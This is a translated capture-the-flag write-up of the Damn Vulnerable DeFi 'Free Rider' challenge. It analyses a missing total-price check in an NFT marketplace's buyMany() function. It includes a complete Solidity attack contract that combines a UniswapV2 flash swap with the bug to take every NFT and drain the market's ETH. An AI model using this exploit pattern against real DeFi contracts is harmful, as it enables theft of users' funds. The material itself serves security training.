Damn Vulnerable DeFi Free Rider 题解

  • Dacian
  • 发布于 2023-02-05 21:11
  • 阅读 7

本文分析了 Damn Vulnerable DeFi v3 挑战中的 Free Rider 题目,该题目的目标是从NFT市场窃取NFT并排空市场的ETH。文章详细分析了FreeRiderNFTMarketplace.sol合约的buyMany()函数中的漏洞,利用该漏洞可以仅支付最高价格的NFT的价格来购买所有NFT,并通过UniswapV2的闪兑功能获取足够的ETH,最终成功攻击了市场合约。

Free Rider v3 向我们展示了一个 NFT 市场,以每个 15 ETH 的价格出售 6 个 NFT。开发者悬赏奖励给任何能够从市场窃取 NFT 并将其发送到恢复合约的人。我们的任务是窃取 NFT,此外还要耗尽市场中的所有 ETH!

代码概览

测试设置分析 - free-rider.challenge.js

挑战描述给了我们一个提示:“如果你能免费获得 ETH,至少是一瞬间。”查看挑战,建立了一个 UniswapV2 WETH/DVT 池。UniswapV2 具有“闪电兑换”功能,该功能用作闪电贷,因此我们可以在 1 笔交易中获得大量 ETH,尽管我们必须在交易完成前偿还它以及费用。考虑到这一点,让我们检查一下市场合约,看看如何利用闪电兑换。

合约漏洞分析 - FreeRiderNFTMarketplace.sol

市场合约只有两个我们可以调用的外部函数:

  • function offerMany(uint256[] calldata tokenIds, uint256[] calldata prices) external nonReentrant

  • function buyMany(uint256[] calldata tokenIds) external payable nonReentrant

我们从 0 个 NFT 开始,所以我们唯一的选择是在 buyMany() 中找到漏洞。buyMany() 为每个输入 tokenId 调用 _buyOne(),并且 _buyOne() 检查 msg.value 是否小于要购买的 NFT 的价格。这是一个主要的漏洞,因为从未计算或检查购买传递给 buyMany() 的所有 tokenIds 所需的总金额;因此,攻击者只需支付最昂贵的一个 NFT 的费用即可购买所有 NFT!

function _buyOne(uint256 tokenId) private {
    uint256 priceToPay = offers[tokenId];
    if (priceToPay == 0)
        revert TokenNotOffered(tokenId);

    //@audit 不检查购买所有 token 所需的总金额,只检查 msg.value
    // 攻击者可以通过发送等于所有 token 最高价格的 msg.value 来购买所有 token。
    // 这个挑战有 6 个 token,每个 15eth,购买所有 token 将花费 90eth,但可以用 15eth 购买它们
    if (msg.value < priceToPay)
        revert InsufficientPayment();

    --offersCount;

    // 从卖家转移到买家
    DamnValuableNFT _token = token; // 为节省 gas 进行缓存
    _token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId);

    //@audit 市场使用自己的以太币来支付 token 所有者,因此如果攻击者只发送足够的以太币来支付成本最高的 nft,
    // 由于未检查 msg.value >= 所有 nfts 的总价,它将耗尽自己的以太币

    // 使用缓存的 token 向卖家付款
    payable(_token.ownerOf(tokenId)).sendValue(priceToPay);

    emit NFTBought(msg.sender, tokenId, priceToPay);
}

_buyOne() 还使用市场自己的 ETH 来支付 NFT 所有者,因此如果攻击者以仅一个最高价 NFT 的成本购买多个 NFT,它将耗尽自己的 ETH。我们现在已经准备好所有部分:一个闪电兑换来获得一些 ETH,以及一个漏洞,能够以 1 个 NFT 的成本购买多个 NFT。让我们把它们放在一起!

漏洞利用实施

首先,在 FreeRiderNFTMarketplace.sol 的底部,我们需要为我们需要调用的函数添加 UniswapV2 接口存根才能获得闪电兑换:

// @audit
// 攻击合约需要的接口
interface IUniswapV2Pair {
  function token0() external view returns (address);
  function token1() external view returns (address);
  function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}

interface IWETH {
    function deposit() external payable;
    function transfer(address recipient, uint amount) external returns (bool);
    function withdraw(uint) external;
}

接下来,我们可以构建我们的攻击来完全耗尽市场 ETH!市场从 90ETH 开始,6 个 NFT 以每个 5ETH 的价格出售。所以我们可以:

  • 以 15 ETH 购买 6 个 NFT => 市场将剩下 90+15-(6*15) = 15 ETH

  • 提供 2 个 NFT,每个 15 ETH => 市场剩下 15 ETH

  • 以 15 ETH 购买 2 个 NFT => 市场将剩下 15+15-(2*15) = 0 ETH

让我们编写代码:

contract FreeRiderNFTMarketplaceAttack is IERC721Receiver {

    FreeRiderNFTMarketplace market;
    IUniswapV2Pair          uniswapV2Pair;
    address                 recoveryAddr;
    address                 playerAddr;
    uint256 constant        LOAN_AMOUNT = 31 ether;

    constructor(address payable _market, address _uniswapV2Pair, address _recoveryAddr, address _playerAddr) {
        market        = FreeRiderNFTMarketplace(_market);
        uniswapV2Pair = IUniswapV2Pair(_uniswapV2Pair);
        recoveryAddr  = _recoveryAddr;
        playerAddr    = _playerAddr;
    }

    // https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/IERC721Receiver.sol
    function onERC721Received(address, address, uint256, bytes calldata) external pure override returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

    function attack() external {
        // 1) 使用 UniswapV2 闪电兑换获得 LOAN_AMOUNT 的闪电贷
        // 执行闪电兑换(Uniswapv2 版本的闪电贷)
        // https://docs.uniswap.org/contracts/v2/guides/smart-contract-integration/using-flash-swaps
        uniswapV2Pair.swap(LOAN_AMOUNT, 0, address(this), hex"00");
    }

    // uniswapv2 闪电兑换将调用此函数
    function uniswapV2Call(address, uint, uint, bytes calldata) external {
        IWETH weth = IWETH(uniswapV2Pair.token0());

        weth.withdraw(LOAN_AMOUNT);

        // 2) 以 15 以太币购买 6 个 nfts => 市场将剩下 90+15-(6*15) = 15 以太币
        uint256[] memory nftIds = new uint256[](6);
        for(uint8 i=0; i<6;) {
            nftIds[i] = i;
            ++i;
        }

        market.buyMany{value: 15 ether}(nftIds);

        // 3) 提供 2 个 nfts,每个 15 以太币:市场剩下 15 以太币
        market.token().setApprovalForAll(address(market), true);
        uint256[] memory nftIds2 = new uint256[](2);
        uint256[] memory prices  = new uint256[](2);
        for(uint8 i=0; i<2;) {
            nftIds2[i] = i;
            prices[i]  = 15 ether;
            ++i;
        }

        market.offerMany(nftIds2, prices);

        // 4) 以 15 以太币购买它们 => 市场将剩下 15+15-(2*15) = 0 以太币
        market.buyMany{value: 15 ether}(nftIds2);

        // 将购买的 nfts 转发到恢复地址以获得 eth 奖励
        // 必须包括 player/攻击者地址作为 bytes memory data 参数
        // 因为 FreeRiderRecovery.onERC721Received() 将解码它
        // 并将奖励发送给它
        DamnValuableNFT nft = DamnValuableNFT(market.token());
        for (uint8 i=0; i<6;) {
            nft.safeTransferFrom(address(this), recoveryAddr, i, abi.encode(playerAddr));
            ++i;
        }

        // 计算费用并偿还贷款。
        uint256 fee = ((LOAN_AMOUNT * 3) / uint256(997)) + 1;
        weth.deposit{value: LOAN_AMOUNT + fee}();
        weth.transfer(address(uniswapV2Pair), LOAN_AMOUNT + fee);

        // 将从市场窃取的 eth 转发给攻击者
        payable(playerAddr).transfer(address(this).balance);
    }

    receive() external payable {}
}

最后,修改 free-rider.challenge.js 以部署和执行我们的攻击合约:

it('Execution', async function () {
    /** 在这里编写你的解决方案 */
    attacker = await (await ethers.getContractFactory('FreeRiderNFTMarketplaceAttack', player)).deploy(
        marketplace.address, uniswapPair.address, devsContract.address, player.address
    );

    await attacker.attack();
});

并检查它是否有效 npx hardhat test --grep "Free Rider"

查看我的 Damn Vulnerable DeFi Solutions 仓库获取完整源代码。

  • 原文链接: dacian.me/damn-vulnerabl...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Dacian
Dacian
in your storage